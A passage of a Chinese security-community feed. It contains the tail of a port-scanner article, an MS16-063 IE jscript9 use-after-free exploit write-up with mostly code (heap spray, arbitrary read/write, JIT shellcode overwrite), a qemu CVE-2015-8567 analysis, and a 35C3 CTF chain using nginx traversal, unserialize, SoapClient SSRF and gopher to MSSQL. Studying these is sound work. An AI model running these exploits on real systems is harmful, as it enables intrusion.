1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,
1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,
1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,
1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,
1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,
1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,
1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,
1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,
1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,
1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,
2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,
2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,
2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,
2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,
2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,
2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,
2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,
3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,
3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,
3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,
3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,
3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,
3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,
4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,
4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,
5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,
5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,
5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,
5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,
5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,
5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,
6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,
6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,
6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,
6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,
7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,
7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,
8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,
8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,
8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,
8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,
9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,
9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,
9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,
9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,
10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,
10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,
11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,
14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,
16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,
19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,
20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,
27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,
32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,
32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,
34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,
45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,
49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,
50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,
52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,
57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,
65129,65389};
可以使用`--top-ports = n`来选择数量。
这是在写完go扫描器后又在Masscan中发现的，可能想象到Masscan可能也考虑过这个问题，它的方法是维护一个top常用端口的排行来尽可能减少扫描端口的数量，这样可以覆盖到大多数的端口(猜测)。
## 总结
概念性程序实践失败了，所以再用go开发的意义也不大了，后面还有一个坑就是go的pcap不能跨平台编译，只能在Windows下编译windows版本，mac下编译mac版本。
但是研究了Masscan和Zmap在tcp协议下的syn扫描模式，还是有很多收获，以及明白了它们为什么要这么做，同时对网络协议和一些更低层的细节有了更深的认识。
这里个人总结了一些tips：
* Masscan源码比Zmap读起来更清晰，注释也很多，基本上一看源码就能明白大致的结构了。
* Masscan和Zmap最高速度模式都是使用的pfring这个驱动程序，理论上它两的速度是一致的，只是它们宣传口径不一样？
* 网络宽带足够情况下，扫描单个端口准确率是最高的(通过自己编写go扫描器的实践得出)。
* Masscan和Zmap都能利用多网卡，但是Zmap线程切换用了锁，可能会消耗部分时间。
* 设置发包速率时不仅要考虑自己带宽，还要考虑目标服务器的承受情况（扫描多端口时）
## 参考链接
* [基于无状态的极速扫描技术](http://www.91ri.org/10800.html)
* [Github:Masscan](https://github.com/robertdavidgraham/Masscan)
* [Github:Zmap](https://github.com/Zmap/Zmap)
* [Zmap源码解读之Zmap扫描快的原因](https://nanshihui.github.io/2017/03/29/Zmap源码解读之Zmap扫描快的原因/)
* * * | 社区文章 |
#### 简介
MS-16-063是Internet explorer jscript9.dll中的一个UAF漏洞；
##### 测试环境
win7 sp1 32
ie 11.0.9600.18204
#### Crash 分析
POC来源[theori](http://theori.io/research/jscript9_typed_array/)
<html>
<body>
<script>
function pwn() {
var ab = new ArrayBuffer(1000 * 1024);
var ia = new Int8Array(ab);
detach(ab);
setTimeout(main, 50, ia);
function detach(ab) {
postMessage("", "*", [ab]);
}
function main(ia) {
ia[100] = 0x41414141;
}
}
pwn()
</script>
</body>
</html>
开启堆调试、US堆分配回溯
gflags.exe /i iexplore.exe +hpa
gflags.exe /i iexplore.exe +ust
崩溃的状态
显然，esi指向的地址是已经释放的堆块，并且从释放堆块的回溯看来，释放操作是由POC里的`postMessage("", "*", [ab]);`引起的；
查看此时的栈回溯
明显和POC里的`ia[100] = 0x41414141;`有关，由于向已经释放的堆块写入，造成的crash。
在jscript9.dll中，查看`Js::TypedArray<char,0>::DirectSetItem`
int __thiscall Js::TypedArray<char,0>::DirectSetItem(_DWORD *this, int index, void *a3)
{
int buffer; // edi
struct Js::ScriptContext *v4; // ecx
signed int v5; // eax
if ( (unsigned int)index < this[7] ) // 检查是否在范围内
{
buffer = this[8]; // 没有检查buffer 是否freed
v4 = *(struct Js::ScriptContext **)(*(_DWORD *)(this[1] + 4) + 540);
if ( (unsigned __int8)a3 & 1 )
v5 = (signed int)a3 >> 1;
else
LOBYTE(v5) = Js::JavascriptConversion::ToInt32_Full(a3, v4);
*(_BYTE *)(index + buffer) = v5; // 设置Item值
}
return 1;
}
可以看到，在设置Item值时，没有检查buffer是否被释放，造成UAF。
关于TypedArray
When creating an instance of a TypedArray (e.g. Int8Array), an array buffer is created internally in memory or, if an ArrayBuffer object is given as constructor argument, then this is used instead.
这样POC的逻辑也清楚了，通过TypedArray构造特性，得到一个堆地址的两个引用，释放其中一个，再写入另一个，造成UAF。
var ab = new ArrayBuffer(1000 * 1024); // 分配TypeArray ab
var ia = new Int8Array(ab); // 以ab 作为 Int8Array 得到ia; ia和ab指向同一块地址
postMessage("", "*", [ab]); //释放堆空间 ab
ia[100] = 0x41414141; // 通过写入ia 触发 UAF
#####
注意：由于堆回收需要时间，在POC操作中如果像上面postMessage和赋值连续不间断，调试时发现无法触发UAF（郁闷了很久）；而使用setTimeOut则可以成功触发UAF。
#### 漏洞利用原理
在漏洞利用过程中，堆喷占位在Win7上始终没有成功（可能与自己的IE环境有关），接下来的利用环境是
**Win10 1511 x86；IE 11.0.10586.**
若想利用UAF造成代码执行，需要控制释放的地址为我们需要的地址，这样可以达到更好的效果：`任意地址读、写`。
首先获取并释放一个Large heap（超过2M)，这样释放的内存会被系统回收；
var heapsrc = new ArrayBuffer(0x400 * 0x400 * 2 + 0x400 * 100);
var heapbak = new Int8Array(heapsrc);
对于释放的内存，我们需要用可控的结构Sparyheap占位，这里选用`Uint8Array`
var spray = new Array(0x20000);
var slim = new ArrayBuffer(0x1456);
function sprayHeap(spray){
for(var i=0; i < spray.length; i++){
spray[i] = new Uint8Array(slim);
}
}
sprayHeap(spray);
此时，为了使用可控的Uint8Array结构，我们需要找到该结构的地址；这一点可以根据Uint8Array的length属性搜索。
for(var i=0; heapbak[i] != 0x56 || heapbak[i+1] != 0x14 || heapbak[i+2] != 0x00 || heapbak[i+3] != 0x00; i++){
if(heapbak[i] === undefined)
{
alert("search failed...");
return;
}
}
alert("search success...");
验证堆喷占位成功
[
接下来，我们需要准确地获取可控的Slim位置（mvslim）
heapbak[i] += 1; //marj to 0x1457
lengthIndex = i;
try{
for(var i=0; spray[i] != 0x1457 ;i++);
}
catch(e){
alert("But Failed...");
return;
}
Math.atan2(0x111, "Get A Slim In Spray!");
mvslim = spray[i];
mvslim这个Unit8Array对象的所有数据都可以访问，包括元数据vftable等包含jscript9基地址信息的数据，其中的主要数据结构
Js::TypedArray<unsignedint>
+0x0 vftable
+0x10 Js::JavascriptArrayBuffer
+0x1C ArrayBufferSize
+0x20 ArrayBufferAddress
注意，通过搜索我们得到的lengthIndex位置实际指向偏移0x1c位置；其可以用作任意读写的跳板，既然如此，也便可以泄漏Unit8Array对象的vftable地址。
var bufaddr = ub(heapbak[lengthIndex + 4]) | ub(heapbak[lengthIndex + 4 + 1]) << 8 | ub(heapbak[lengthIndex + 4 + 2]) << 16 | ub(heapbak[lengthIndex + 4 + 3]) << 24;
var vtable = ub(heapbak[lengthIndex - 0x1c]) | ub(heapbak[lengthIndex - 0x1c + 1]) << 8 | ub(heapbak[lengthIndex - 0x1c + 2]) << 16 | ub(heapbak[lengthIndex - 0x1c + 3]) << 24;
alert("buffer address: " + bufaddr.toString(16));
alert("vftable address: " + vtable.toString(16));
得到vftable地址
[
此时jscript9.dll基地址
显然，可以通过vftable地址泄露计算得到jscript9.dll地址。
jscriptaddr = vtable - 0x1eeb4;
##### 利用技巧
利用上述的任意地址读、写技巧，封装下面的过程
// 通过修改TypedArray<unsignedint> 的 BufferAddress实现任意地址写
function setBufferAddress(addr)
{
heapbak[lengthIndex + 4] = addr & 0xff;
heapbak[lengthIndex + 4 + 1] = (addr >> 8) & 0xff;
heapbak[lengthIndex + 4 + 2] = (addr >> 16) & 0xff;
heapbak[lengthIndex + 4 + 3] = (addr >> 24) & 0xff;
}
//通过修改TypedArray<unsignedint> 的 BufferAddress也可以任意地址读
// 4 || 8 bytes
function readAddressN(addr, n){
if(n !=4 && n != 8)
return 0;
setBufferAddress(addr);
var ret = 0;
for(var i =0; i < n; i++)
ret |= (mvslim[i] << (i * 8));
return ret;
}
function writeAddressN(addr, val, n){
if(n !=4 && n != 8)
return 0;
setBufferAddress(addr);
for(var i =0; i < n; i++)
mvslim[i] = (val >> (i * 8)) & 0xff;
}
在Win7上，此时的利用过程比较简单：
1、在heap上构造一个假的虚函数表
2、将某一虚函数替换为我们的shellcode地址。
2、VirtualProtect函数
3、覆盖Uint8Array的 vftable地址为我们构造的
在Win10上，需要绕过CFG保护，而针对CFG的弱点，最佳利用方式是利用Chakra JIT动态生成的代码；
**Chakra JIT**
Chakra JIT负责为多次调用的函数和循环生成优化的JIT代码。
利用步骤：Trigger JIT、找到 JIT Buffer、修改 JIT buffer内容为Shellcode。
##### 触发JIT
触发JIT，即让JIT开始对函数进行编码，为了使第二步寻找buffer的时间更多一些，我们的函数代码应该更多一些（具体指令无关）
var code = "var i= 100; var j = 1;";
for(var i = 0; i< 6500; i++)
{
code += "i *= i + j.toString();";
}
code += "return i.toString();";
func = Function(code);
for(var i=0; i < 1000; i++)
{
//trigger jit
func.call();
}
##### 查找JIT代码缓冲区
一旦JIT开始对源代码编码，我们需要快速找到临时本地代码缓冲区。发现缓冲区的一种方法是，找到给该缓冲区分配内存的页分配器，逐个查看分配的内存段。
通过先找到jscript9!ThreadContext，然后找到后台线程BackgroundJobProcessor，就可以找到页面分配器引用。
0:024> x jscript9!ThreadContext::global*
5b7302f0 jscript9!ThreadContext::GlobalInitialize (public: static void __stdcall ThreadContext::GlobalInitialize(void))
5b8fa07c jscript9!ThreadContext::globalListFirst = <no type information>
5b8fa074 jscript9!ThreadContext::globalListLast = <no type information>
0:024> lm m jscript9
Browse full module list
start end module name
5b5b0000 5b938000 jscript9 (pdb symbols)
0:024> ? 5b8fa074-5b5b0000
0:024> x jscript9!ThreadContext::global*
5b7302f0 jscript9!ThreadContext::GlobalInitialize (public: static void __stdcall ThreadContext::GlobalInitialize(void))
5b8fa07c jscript9!ThreadContext::globalListFirst = <no type information>
5b8fa074 jscript9!ThreadContext::globalListLast = <no type information>
0:024> lm m jscript9
Browse full module list
start end module name
5b5b0000 5b938000 jscript9 (pdb symbols)
0:024> ? 5b8fa074-5b5b0000
Evaluate expression: 3448948 = 0034a074
//Find ThreadContext
var threadctx = readAddressN(jscriptaddr + 0x34a074, 4);
// Find BackJobProcessor
var bgjob = readAddressN(threadctx + 0x3b0, 4);
//PageAllocator
var pgalloc = bgjob + 0x1c;
PageAllocator有已分配段的列表，由于经过JIT处理的函数会变大，所以临时的本地赛马缓冲器也将很大。通过检查LargeSegments列表，就可以找到对应的内存段
while(true){
var largeSeg = readAddressN(pgalloc + 0x24, 4);
//check if the list is empty
if(largeSeg == pgalloc + 0x24) continue;
//Get the address from list
var page = readAddressN(largeSeg + 8 + 8, 4);
if(page == 0) continue;
break;
}
##### 修改执行
在得到临时本地代码缓冲区之后，就可以修改其内容为shellcode。按理说只要使用我们的shellcode覆盖缓冲区的内容就行了，但是实际上要比这个过程要复杂的多，因为我们必须避免覆盖未来在重定位步骤中将要修改的任何内容。因为用于触发JIT的函数需要多次调用toString()，同时还要避免重定位的影响，所以，实际上可用于shellcode的空间并不充裕。
虽然最佳之选是修改要进行JIT处理的函数，但这里选择使用first-stage
shellcode，它只是简单调用VirtualProtect，然后跳转到我们的second-stage shellcode。这个first-stage
shellcode通常是非常小（只有20个字节）的。所以 ，我们可以把first-stage
shellcode放到距这个缓冲区比较近的地方，然后在这个缓冲区的起始位置放上一个近转移指令，从而跳转至该代码。
这样的话，我们的second-stage
shellcode可以是任何长度，所以在我们的漏洞利用代码中，使用了一个metasploit生成shellcode来执行notepad.exe。实际上，这个second-stage shellcode还可以绕过保护模式（沙箱）。
var race = function(){
// Read LargeSegments List
var largeSeg = readAddressN(pgalloc + 0x24, 4);
//check if the list is empty
if(largeSeg == pgalloc + 0x24) return false;
//Get the address from list
var page = readAddressN(largeSeg + 8 + 8, 4);
if(page == 0) return false;
buf = page + 0x18;
// overwrite instructions
// avoid overwriting address which will be relocated
setBufferAddress(buf);
mvslim[0] = 0xeb;
mvslim[1] = 0x34;
setBufferAddress(buf + 0x36);
mvslim.set(scbytes, 0);
return true;
}
修改好缓冲区后，等待并执行JIT代码
for(var i=0; i<1000; i++)
{
race();
}
for(var i=0; i < 1000; i++)
{
//trigger jit
func.call();
}
while(!race()); // wait until we overwrite jit block
for(var i=0; i < 1000; i++)
{
//call our overwritten block
func.call();
}
成功执行notepad.exe
#### 参考链接
[Patch Analysis of MS16-063
(jscript9.dll)](http://theori.io/research/jscript9_typed_array/)
[TypedArray](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray)
[深入理解Double Free](http://13.58.107.157/archives/5781)
[基于Chakra JIT的CFG绕过技术](https://www.anquanke.com/post/id/85200) | 社区文章 |
# 360 Marvel Team虚拟化漏洞第四弹 - CVE-2015-8567 漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**作者:360 Marvel Team 团队负责人 唐青昊 (新浪微博:SunSky0101;微信:702108451)**
**前言:**
2015年是云计算飞速发展的一年,也是云虚拟化安全漏洞层出不穷的一年。继5月份毒液漏洞肆虐全球云厂商之后,360 Marvel
Team又累计在kvm,xen,vmware平台上协助厂商修复了14枚高危0day漏洞，这些漏洞均会导致通用云系统被黑客攻破。目前云上存放着大量用户的个人隐私信息,企业数据库信息,以及政府敏感信息,一旦云系统被攻破,就意味着这些重要的信息会被泄露。黑客利用虚拟化漏洞不但可以偷取到重要信息,甚至可以从一台虚拟机的普通用户发起攻击控制宿主机,最终控制整个云环境的所有用户。
《360 Marvel
Team虚拟化漏洞》系列文章,针对团队独立发现的虚拟化软件中的高危0day漏洞进行深度分析,希望以此揭开虚拟化攻击技术的神秘面纱。360 Marvel
Team团队结合在漏洞挖掘和利用过程中的相关经验,针对云计算平台提供完善的虚拟化防护解决方案,持续保证360云的安全。
本文为该系列的第四篇文章,将详细分析编号为CVE-2015-8567的qemu内存泄露漏洞的相关知识,该漏洞存在于xen和kvm系统的qemu模块中的vmxnet3网卡组件,黑客在一台虚拟机中利用该漏洞,可以导致同一宿主机上的其他虚拟机崩溃。360
Marvel Team于 10月22日提交该漏洞,官方于12月16号公开了漏洞信息及修复补丁。
关于之前的三篇文章,链接如下:
[
http://www.freebuf.com/vuls/77834.html](http://www.freebuf.com/vuls/77834.html)
[ http://blogs.360.cn/blog/360marvelteam虚拟化漏洞第二弹-cve-2015-5279-漏洞分析/](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%BA%8C%E5%BC%B9-cve-2015-5279-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
[http://bobao.360.cn/learning/detail/2423.html](http://http://bobao.360.cn/learning/detail/2423.html)
**一. 关于qemu和vmxnet3**
QEMU是一款存在于xen和kvm系统中的用以实现设备模拟的软件,它实现了在虚拟机中使用键盘,网络通信,磁盘存储等诸多需要硬件设备参与的功能,并且可模拟的硬件设备类型非常丰富,如它提供了10种以上类型设备的网卡设备模拟组件,包括pcnet,rtl8139,ne2000,eepro100,e1000等。
vmxnet3组件模拟了vmware半虚拟化网卡的功能。可以使用如下命令启动带有vmxnet3网卡模拟功能的虚拟机:
qemu-system-x86_64 -m 2048 -enable-kvm -device vmxnet3 centos-6.5-x64.img
**二. CVE-2015-8567漏洞原理分析**
我们首先来分析出现CVE-2015-8567漏洞的代码,是在qemu-2.4.0/hw/net/vmxnet3.c中的vmxnet3_handle_command函数当中。该函数会根据cmd数值执行针对网卡的不同操作,如cmd的值等于
VMXNET3_CMD_ACTIVATE_DEV时,会进入vmxnet3_activate_device函数执行激活设备的相关逻辑。
图1. vmxnet3_handle_command函数部分内容
当逻辑进入vmxnet3_activate_device函数中,会按照如下3个阶段实现网卡设备激活:
(1)根据配置信息,客户机类型等条件设置设备操作数据,如发送队列数量,接收队列数量;
(2)根据发送队列数量,初始化发送队列的缓冲区;根据初始化队列过程中计算的max_tx_frags值初始化发送数据包;
(3)初始化接收数据包;初始化接收队列的缓冲区。
vmxnet3_activate_device函数的代码截图如下:
图2. vmxnet3_activate_device函数部分内容
在第2阶段中,使用vmxnet_tx_pkt_init函数初始化发送数据包,而在该函数中使用g_malloc分配了长度为max_frags +
VMXNET_TX_PKT_PL_START_FRAG的内存空间。相关代码如下图所示:
图3. vmxnet_tx_pkt_init函数部分内容
在整个“激活”逻辑中,缺乏对设备当前状态的判断,因此存在被多次“激活”的风险。简单来说,在vmxnet3_activate_device函数的结尾,设置了s->device_active
的值为true,然而在整个函数中并未检查s->device_active的值是否已经为true,攻击者可以不断通过控制网卡进入“激活”逻辑,从而多次调用g_malloc函数分配内存,直至宿主机系统内存枯竭。
**三.漏洞危害 &漏洞利用方案**
官方关于CVE-2015-8567漏洞危害描述为:虚拟机授权用户利用该漏洞可以泄露宿主机内存,导致拒绝服务。该信息的链接地址为:
[
https://access.redhat.com/security/cve/cve-2015-8567](https://access.redhat.com/security/cve/cve-2015-8567)
图4. 官方公布的漏洞描述
360 Marvel
Team在发现该漏洞之后,完成了测试环境中的漏洞利用程序。在测试环境中,有多台虚拟机运行在一个宿主机上,黑客位于其中的一台虚拟机,当黑客运行漏洞利用程序之后,经过约40分钟时间,多台虚拟机崩溃。这里将最终的结果截图如下:
图5. 漏洞利用结果截图
**四.漏洞修复方案**
厂商可以使用打补丁的方式修补该漏洞。官方提供了完整的针对CVE-2015-8567漏洞的补丁,链接为:[https://lists.gnu.org/archive/html/qemu-devel/2015-12/msg02299.html](https://lists.gnu.org/archive/html/qemu-devel/2015-12/msg02299.html)。其中增加了前文提到的对s->device_active值的判断(截图如下)。
图6. 官方公布的漏洞补丁部分截图
小结:针对360 Marvel
Team独立发现的虚拟化安全漏洞CVE-2015-8567,本文完整分析了漏洞相关的原理,利用方案,危害说明,以及修复方案。希望此文可以引起更多使用公有云和私有云企业的关注,重视虚拟化安全问题。
**关于360 Marvel Team:**
360 Marvel
Team是国内首支虚拟化安全研究团队,研究内容为云安全领域的虚拟化平台攻防技术,致力于保持领先的脆弱性安全风险发现和防护能力,针对主流虚拟化平台提供漏洞检测和hypervisor加固解决方案。 | 社区文章 |
作者在上个月圣诞与元旦期间参加了高质量的 35C3 比赛，不得不说做一道题就收获一道题的知识，当事人觉得 **特别爽** 。这道 Web 的 POST
题目差点和队友在比赛期间搞出来，赛后认真看了 writeup 将其 **解题的思路** 和每一步的原理做了 **详细** 的分析，现在分享给各位。
期待明年的 36C3！
### 题目描述：
比赛结束之后，题目链接发生了变化，但是仍可以访问，整个题目的描述如下：
> Go make some [posts](http://35.207.83.242).
>
> Hint: flag is in db
>
> Hint2: the lovely XSS is part of the beautiful design and insignificant for
> the challenge
>
> Hint3: You probably want to get the source code, luckily for you it's rather
> hard to configure nginx correctly.
解决题目这道题需要七个步骤，后文将按顺序进行详细分析：
* **nginx misconfiguration**
* **arbitrary unserialize**
* **SoapClient SSRF**
* **SoapClient CRLF injection**
* **miniProxy URL scheme bypass**
* **Connect to MSSQL via gopher**
* **Get flag**
### 一、 **Nginx Misconfiguration**
首先我们使用 dirsearch 对网站进行了目录爆破，结果如下：
从结果可以看到 uploads 目录的 HTTP 状态码是 403，也许这个目录是存在的。因为从 Burp 抓包分析回响的 HTTP 头部很容易发现服务器是
nginx，由此我想到了之前读过的一篇 [Nginx 不安全配置可能导致的安全漏洞
](https://www.freebuf.com/articles/web/149761.html) 文章。
在 nginx 的配置中用 alias 设置目录的别名 ，由于 url 没加后缀 /，而 alias 设置了有后缀 / 配置，导致可以利用 ../
绕过限制访问目录。本题从 /uploads../ 下载源码 ，命令如下：
wget -m http://35.207.83.242/uploads../
下载下来的文件除了源码还有一个 nginx 配置文件，我们查看关键部分果然发现配置的 alias 设置出现上述问题：
### 二、Arbitrary Unserialize + SoapClient SSRF
#### 1\. 绕过正则表达式插入可以反序列化的数据
这部分是找到反序列化利用的点，网上无论是官方 writeup 还是一些 CTFer 的 writeup
对这个部分的讲解很简单，只是找到反序列化的点，然后给出 Payload，但是怎么这个反序列化的点怎么触发的以及完整的攻击链是怎么样并没有还原出来。
这部分我带领读者详细的分析源码内容，让各位清晰地知道本题反序列化的过程（包括漏洞点和触发点的位置）
首先，在 Seay 的系统中搜索 unserialize 很容易发现，此处有一个反序列化操作：
这是 DB 类的方法，进一步查看这个类，可以看到在 DB 的 query （用于查询 SQL 语句的方法）中调用了 retrieve_values
方法。可以看到如果符合这个正则表达式就对查询的每一个字段内容执行反序列化操作：
return preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x;
但是我们查看向数据库插入内容的 insert 方法，发现如果插入的参数符合这个正则表达就视为无效数据，无法插入到数据库里：
if (preg_match('/^\$serializedobject\$/i', $x)
二者正则表达式一样怎么办呢？这里需要利用 MSSQL 数据库的一个特性：
> MSSQL converts full-width unicode characters to their ASCII representation.
> For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.
在 mssql 中，$s℮rializedobject$ 入库后会变成 $serializedobject$ ，注意前者的℮不是 ASCII 的
e，整个字符串的 16 进制如下，可见前者的℮的 hex 是 E284AE，而后者 e 的 ASCII 是 0x65。
这样就可以实现插入的时候正则表达式检查失败，查询的时候从数据库取出的数据对正则表达式匹配成功进而可以对 $serializedobject$
开头的字段内容进行反序列化操作。
#### 2\. 反序列化利用思路和触发过程
既然有反序列化的点，我们需要可以利用的类，可以是代码中定义的也可以是 PHP 内置的。审计 post.php 代码如下：
这里有一个对 za 调用 open 方法的操作，这个方法刚好可以用来触发 SoapClient 的发送一个 POST 请求，这里一个知识点是：
> 当调用 SoapClient 类的 __call() 魔术方法的时候，会发送一个 POST 请求，请求的参数由着 SoapClient
> 类的一些参数决定。
>
> __call() 魔术方法：当调用一个类不存在的方法时候会触发这个魔术方法
因此一个大胆的攻击思路就是构造一个 Attachment 类，它的 za 属性是 SoapClient 类，然后当 `__toString()`
方法被调用的时候就会对 $za 变量调用它的 open 方法，由于 SoapClient 不存在 open 方法，触发 `__call()`.
> __toString() 魔术方法：当需要将这个类转换成字符串的时候就会触发这个魔术方法
注意由于题目的 index.php 直接包含了 default.php，后面对 index.php 页面提交我都说成对 default.php 提交。
完整的利用 SoapClient 的 SSRF 攻击链过程如下：
* 我们对 default.php 页面提交 title 和 content，注意我们的 content 参数会是我们的攻击 Payload （这里先不讲解 payload 的具体内容，我们先来看看攻击链是如何实现的，才能构造出我们的 Payload，最终的 Payload 见文末抓取的 HTTP 报文）：
当我们提交 title 和 content 的时候，dafault.php 会执行上述代码，第一行只是实例化了一个 Post
类，在类的初始化方法里只是将这些参数赋值给它的属性，接着第二行调用了 Post 类的 save 方法。代码如下：
save 方法会将 content 保存至 MSSQL 数据库，插入的时候 DB 类 ::insert 会检查所有插入的参数是否以
$serializedobject$ 开头，如果是则插入失败，因此我们使用上述 MSSQL
特性（unicode=>ACSII）让正则匹配失败，但是储存在数据库的 content 字段开头却是 $serializedobject$
* 然后我们直接访问 default.php，页面会执行二个操作，第一个是
在 Post 类中，loadall 代码如下。loadall 会先根据用户的 uid 查询对应的数据库 id 值，虽然 DB:query
会检查得到每一个字段是否是 $serializedobject$，如果是就反序列化，但是 id 这个参数的值我们不可控，此处不是漏洞点，但是继续往后看会调用
load 方法。
Post 的 load 方法根据 id 查询出，title,content,attachment 这些内容，这时候 content 由于上面利用 MSSQL
特性可以插入 $serializedobject$ 开头的字符串，这里可以触发对 content 的反序列化得到一个类的实例，根据我们最终的 Payload
可以知道这一步执行完之后，$res['content'] 保存的是一个 Attachment 对象（它的 za 属性是一个携带新的攻击 payload 的
SoapClient）
后面的 new Post 是将 $res["title"]、$res["content"]、$res["attachment"] 保存在 Post
一个实例的属性里
* 返回这个 post 之后，由于用户可能又多次提交，所以会有多个 post 实例被返回，在 default.php 页面会循环遍历每一个 Post 实例，执行 echo $p，触发 Post 实例的 `__toString`
* 注意我们的 Post 实例的 content 属性是一个反序列化得到的 Attachment 类的实例，在 Post 的 `__toString()` 里的连接字符串部分（下图红框）会触发 Attachment 的 `__toString` 方法
* 进一步观察 Attachment 对象的 `__toString()` 方法 :
会调用 Attachment 的 za 变量的 open 属性，由于我们的 za 是一个构造好的 SoapClient，调用一个不存在的方法会触发
SoapClient 的 `__call` 方法，从而执行了我们的 SoapClient SSRF 攻击
### 三、SoapClient CRLF injection
好，以及可以利用 SoapClient 进行 SSRF，下面就要想我们怎么利用 SSRF，从而构造我们 SoapClient 类部分的 Payload。
在内网 127.0.0.1:8080 有一个代理，但是我们的 nginx 配置（default.backup）限制了只能使用 Get 请求：
SoapClient 只能生成 POST 请求，但是好在 SoapClient 类的 `_user_agent` 属性存在 CRLF 漏洞可以注入
\n\n，然后我们想办法利用这个注入得到一个 Get 请求
这里涉及到一个知识点，我们注意上述的 nginx 配置中使用了 unix:socket
这个设置可以加快服务器的访问速度，但是同时也说明服务器在处理请求的时候直接使用 socket 流。因此在本题中，我们可以利用 a request
splitting 攻击，即使用 \n\n 分隔二个请求，第一个是 POST，第二个是 GET。通过 SoapClient 的 CRLF
注入得到的二个请求如下（截图是我在本题随便测试的，与题目无关，只是看一下 POST 和 GET 报文长啥样）：
怎么构造 CRLF 注入的 SoapClient 类，可以查看官方给的 exploit 如下：
### 四、miniProxy URL scheme bypass
查阅 miniProxy 的代码发现：
似乎只能使用 https 或者 http 的请求，但是如果是 http 开头的，并没有直接 die，会在后面进一步检查 url 有效性，如果失败，会执行：
会执行跳转！因此如果访问 miniproxy 携带的是一个非 https 协议的并且 http 协议检查不合格的字段，比如
`miniProxy.php?gopher:///db:1433//...` 会重定向客户端使用 gopher 协议访问 MSSQL 端口！
### 五、Connect to MSSQL via gopher + Get Flag
我们需要精心构造 MSSQL 的 Payload，去数据库里执行我们的命令，题目也说了 flag 就在数据库里，可以用 wireshark 抓取 访问
MSSQL 数据库的流量，从而构造 gopher 的 mssql payload，只是要注意 gopher 会自动添加给请求添加 \r\n，创建 MSSQL
packet 时候需要注意
在源码中发现泄露的用户名和密码，数据库 ：
